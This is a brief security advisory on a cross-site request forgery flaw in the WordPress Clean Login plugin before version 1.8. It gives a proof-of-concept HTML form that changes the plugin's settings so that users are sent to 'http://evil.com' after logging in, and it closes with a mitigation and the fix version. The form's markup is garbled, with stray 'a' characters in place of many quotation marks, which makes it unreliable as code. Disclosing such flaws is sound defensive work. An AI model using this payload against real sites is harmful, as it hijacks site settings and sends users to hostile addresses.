WordPress Clean Login Cross Site Request Forgery

2017.05.10
Credit: Zhiyang Zeng
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

=============== Software Description =============== Software:clean login version:<1.8 description:Responsive Frontend Login and Registration plugin. ======== Details ======== CSRF in wordpress plugin clean login allows remote attacker change wordpress login redirect url or logout redirect url to evil address. ======== POC: ======== <form method="POST" action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=wpcsw_settings"> <input type="text" name= "adminbar" value=aon"> a<input type="text" name="emailnotificationcontent" value=""> a<input type="text" name="termsconditionsMSG" value=""> a<input type="text" name="termsconditionsURL" value=""> a<input type="text" name="urlredirect" value=ahttp://127.0.0.1/wordpressa> a<input type=atexta name="loginredirecta value=aona> a<input type=atexta name="loginredirect_urla value="http://evil.coma> a<input type=atexta name="logoutredirect_urla value="http://127.0.0.1/wordpressa> a<input type=atexta name="cl_hidden_fielda value="hidden_field_to_update_othersa> a<input type=atexta name="Submita value="Save Changesa> <input type="submita> </form> ========= Mitigations ================ Disable the plugin until a new version is released that fixes this bug. ========= Fixed ========= https://wordpress.org/plugins/clean-login/#developers(1.8 version update)


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